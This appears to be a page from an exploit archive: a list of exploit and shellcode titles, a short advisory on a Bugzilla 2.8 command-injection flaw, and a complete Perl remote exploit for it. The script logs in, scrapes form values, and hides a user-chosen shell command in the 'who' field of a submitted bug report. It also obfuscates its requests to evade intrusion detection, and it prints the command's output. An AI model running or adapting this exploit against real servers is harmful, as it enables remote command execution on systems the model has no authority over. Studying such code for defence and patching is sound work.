
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
173 lines
No EOL
6.2 KiB
Perl
Executable file
173 lines
No EOL
6.2 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/1199/info
|
|
|
|
Bugzilla is a web-based bug-tracking system based on Perl and MySQL. It allows people to submit bugs and catalogs them.
|
|
|
|
Bugzilla is prone to a vulnerability which may allow remote users to execute arbitrary commands on the target webserver.
|
|
|
|
When accepting a bug report, the script "process_bug.cgi" calls "./processmail" via a perl system() call argumented by a number of paramaters with values originating from user input via a web-form. There are no checks against these values for shell metacharacters by the script before insertion into the system() call.
|
|
|
|
As a result, it possible for an attacker to supply maliciously crafted input to form fields, which when submitted will cause arbitrary commands to be executed on the shell of the host running vulnerable versions of Bugzilla. Commands will be executed with the privileges of the webserver process.
|
|
|
|
|
|
#!/usr/bin/perl
|
|
|
|
# Bugzilla 2.8 remote exploit
|
|
# by {} - karin@root66.nl.eu.org
|
|
# RooT66 - http://root66.nl.eu.org
|
|
# ShellOracle - http://www.shelloracle.cjb.net
|
|
# b0f - http://b0f.freebsd.lublin.pl
|
|
#
|
|
# This exploits uses antiIDS tricks ripped from whisker
|
|
|
|
# next 2 functinos stolen from whisker, commented by me
|
|
sub rstr { # no, this is not a cryptographically-robust number generator
|
|
my $str,$c;
|
|
$drift=(rand() * 10) % 10;
|
|
for($c=0;$c<10+$drift;$c++){
|
|
$str .= chr(((rand() * 26) % 26) + 97);} # yes, we only use a-z
|
|
return $str;}
|
|
|
|
sub antiIDS {
|
|
($url) = (@_);
|
|
$url =~s/([-a-zA-Z0-9.\<\>\\\|\'\`])/sprintf("%%%x",ord($1))/ge;
|
|
$url =~ s/\ /+/g;
|
|
$url =~s/\//\/.\//g;
|
|
return $url;
|
|
}
|
|
#end of stolen stuff
|
|
|
|
($complete_url, $Bugzilla_login, $Bugzilla_password, $command) = (@ARGV);
|
|
|
|
print("Exploit for Bugzilla up to version 2.8\n");
|
|
print(" by {} - karin\@root66.nl.eu.org\n");
|
|
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
|
|
print("RooT66 - http://root66.nl.eu.org\n");
|
|
print("ShellOracle - http://www.shelloracle.cjb.net\n");
|
|
print("b0f - http://b0f.freebsd.lublin.pl\n");
|
|
print("\n");
|
|
|
|
if ($complete_url eq "-h" || $complete_url eq "--help") {
|
|
print("Usage: $0 url emailaddress password command\n");
|
|
exit;
|
|
}
|
|
|
|
# Get information of user
|
|
if (!$complete_url) {
|
|
print("URL: ");
|
|
$complete_url = <STDIN>; chomp($complete_url); $complete_url =~ s/http:\/\///;
|
|
}
|
|
if (!$Bugzilla_login) {
|
|
print("EMAIL: ");
|
|
$Bugzilla_login = <STDIN>; chomp($Bugzilla_login);
|
|
}
|
|
if (!$Bugzilla_password) {
|
|
print("PASSWORD: ");
|
|
$Bugzilla_password = <STDIN>; chomp($Bugzilla_password);
|
|
}
|
|
if (!$command) {
|
|
print("COMMAND: ");
|
|
$command = <STDIN>; chomp($command);
|
|
}
|
|
|
|
|
|
# Set some variables
|
|
$host = $complete_url; $host =~ s/\/.*//;
|
|
$base_dir = $complete_url; $base_dir =~ s/^$host//; $base_dir =~ s/[a-zA-Z.]*$//;
|
|
|
|
# Make own directory
|
|
system("mkdir $$");
|
|
|
|
print("Getting information needed to submit our 'bug'\n");
|
|
# Get product name
|
|
system("cd $$; lynx -source \"http://$host/" . antiIDS("$base_dir/enter_bug.cgi") . "?Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password") . "\" > enter_bug.cgi");
|
|
open(FILE, "< $$/enter_bug.cgi");
|
|
while($input = <FILE>) {
|
|
if ($input =~ /enter_bug.cgi\?product=/) {
|
|
chomp($input);
|
|
$product = $input;
|
|
$product =~ s/.*product=//;
|
|
$product =~ s/".*//;
|
|
if ($product =~ /\&component=/) {
|
|
$component = $product;
|
|
$product =~ s/&.*//; # strip component
|
|
$component =~ s/.*component=//;
|
|
$component =~ s/".*//;
|
|
}
|
|
}
|
|
}
|
|
print("\tProduct: $product\n");
|
|
if ($component) {
|
|
print("\tComponent: $component\n");
|
|
}
|
|
# Get more information
|
|
$page = antiIDS("$base_dir/enter_bug.cgi?") . "product=" . antiIDS("$product") . "&Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password");
|
|
system("cd $$; lynx -dump \"http://$host/$page\" > enter_bug.cgi");
|
|
open(FILE, "< $$/enter_bug.cgi");
|
|
while($input = <FILE>) {
|
|
chomp($input);
|
|
if ($input =~ /Reporter:/) {
|
|
$reporter = $input;
|
|
$reporter =~ s/.*Reporter: //;
|
|
$reporter =~ s/\ .*//;
|
|
}
|
|
if ($input =~ /Version:/) {
|
|
$version = $input;
|
|
$version =~ s/.*Version: \[//;
|
|
$version =~ s/\.*\].*//;
|
|
}
|
|
if ($input =~ /Component:/) {
|
|
$component = $input;
|
|
$component =~ s/.*Component: \[//;
|
|
$component =~ s/\.*\].*//;
|
|
}
|
|
if ($input =~ /Platform:/) {
|
|
$platform = $input;
|
|
$platform =~ s/.*Platform: \[//;
|
|
$platform =~ s/\.*\].*//;
|
|
}
|
|
if ($input =~ /OS:/) {
|
|
$os = $input;
|
|
$os =~ s/.*OS: \[//;
|
|
$os =~ s/\.*\].*//;
|
|
}
|
|
if ($input =~ /Priority:/) {
|
|
$priority = $input;
|
|
$priority =~ s/.*Priority: \[//;
|
|
$priority =~ s/\].*//;
|
|
}
|
|
if ($input =~ /Severity:/) {
|
|
$severity = $input;
|
|
$severity =~ s/.*Severity: \[//;
|
|
$severity =~ s/\.*\].*//;
|
|
}
|
|
}
|
|
print("\tReporter: $reporter\n");
|
|
print("\tVersion: $version\n");
|
|
print("\tComponent: $component\n");
|
|
print("\tPlatform: $platform\n");
|
|
print("\tOS: $os\n");
|
|
print("\tPriority: $priority\n");
|
|
print("\tSeverity: $severity\n");
|
|
close(FILE);
|
|
|
|
|
|
#liftoff
|
|
print("Sending evil bug report\n");
|
|
$page = antiIDS("$base_dir/process_bug.cgi") . "?bug_status=" . antiIDS("NEW") . "&reporter=" . antiIDS($reporter) . "&product=" . antiIDS("$product") . "&version=" . antiIDS("$version") . "&component=" . antiIDS("$component") . "&rep_platform=" . antiIDS("$platform") . "&op_sys=" . antiIDS($os) . "&priority=" . antiIDS($priority) . "&bug_severity=" . antiIDS($severity) . "&who=". antiIDS("blaat\@blaat.com;echo \\<pre\\>START OUTPUT COMMAND;$command;echo \\<\\/pre\\>END OUTPUT COMMAND;") . "&knob=" . antiIDS("duplicate") . "&dup_id=" . antiIDS("202021234123412341234") . "&Bugzilla_login=" . antiIDS($Bugzilla_login) . "&Bugzilla_password=" . antiIDS($Bugzilla_password) . "&assigned_to=&cc=&bug_file_loc=&short_desc=&comment=&form_name=enter_bug";
|
|
system("cd $$; lynx -dump \"$host/$page\" > enter_bug.cgi");
|
|
open(FILE, "< $$/enter_bug.cgi");
|
|
while($input = <FILE>) {
|
|
chomp($input);
|
|
if ($input =~ /END OUTPUT COMMAND/) {
|
|
$startoutput = 0;
|
|
}
|
|
if ($startoutput) {
|
|
print("$input\n");
|
|
}
|
|
if ($input =~ /START OUTPUT COMMAND/) {
|
|
$startoutput = 1;
|
|
}
|
|
}
|
|
close(FILE);
|
|
# Delete shit
|
|
# system("rm -rf $$"); |